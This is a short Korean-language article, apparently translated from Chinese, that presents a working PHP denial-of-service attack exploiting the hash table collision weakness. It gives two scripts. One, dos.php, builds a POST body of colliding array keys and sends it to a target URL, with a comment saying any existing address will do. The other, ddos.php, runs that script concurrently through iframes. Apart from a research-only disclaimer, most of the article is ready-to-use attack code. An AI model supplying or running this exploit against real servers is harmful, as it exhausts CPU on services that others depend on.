이 기사에서는 PHP가 해시 충돌 취약점을 사용하여 DDoS 공격을 수행하는 방법에 대한 분석 예를 제공합니다. 참고할 수 있도록 모든 사람과 공유하세요. 구체적인 분석은 다음과 같습니다.
먼저 주의사항: 본 글의 내용은 연구 및 학습을 위한 내용이므로 불법적인 활동에 사용하지 말아주세요!
앞서 언급했듯이 최근 해시 테이블 충돌 취약점이 노출되었습니다.
공격원리 :
조심스럽게 조합된 배열 매개변수 세트를 대상 서버에 게시함으로써 언어의 하위 계층이 서버에 도달한 후 수신된 배열 매개변수를 처리할 때 이 취약점의 존재로 인해 많은 양의 CPU 소비가 발생하여 결국 서버 자원의 고갈.
화려한 트릭은 필요하지 않습니다. PHP를 사용하여 간단히 구현하고 효과를 확인하고 클릭하기만 하면 됩니다.
파일: dos.php
// 目标地址 // 只要目标地址存在,不用管它是干嘛的 $host = 'http://127.0.0.1/test.php'; $data = ''; $size = pow(2, 15); for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size) { $data .= '&array[' . $key . ']=0'; } $ret = curl($host, ltrim($data,'&')); var_dump($ret); function curl($url, $post, $timeout = 30){ $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:')); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $output = curl_exec($ch); if ($output === false) return false; $info = curl_getinfo($ch); $http_code = $info['http_code']; if ($http_code == 404) return false; curl_close($ch); return $output; }
파일: ddos.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>DDOS</title> </head> <body> <?php for($i=0; $i<5; $i++){//并发数 echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; } ?> </body> </html>
이 기사가 모든 사람의 PHP 프로그래밍 설계에 도움이 되기를 바랍니다.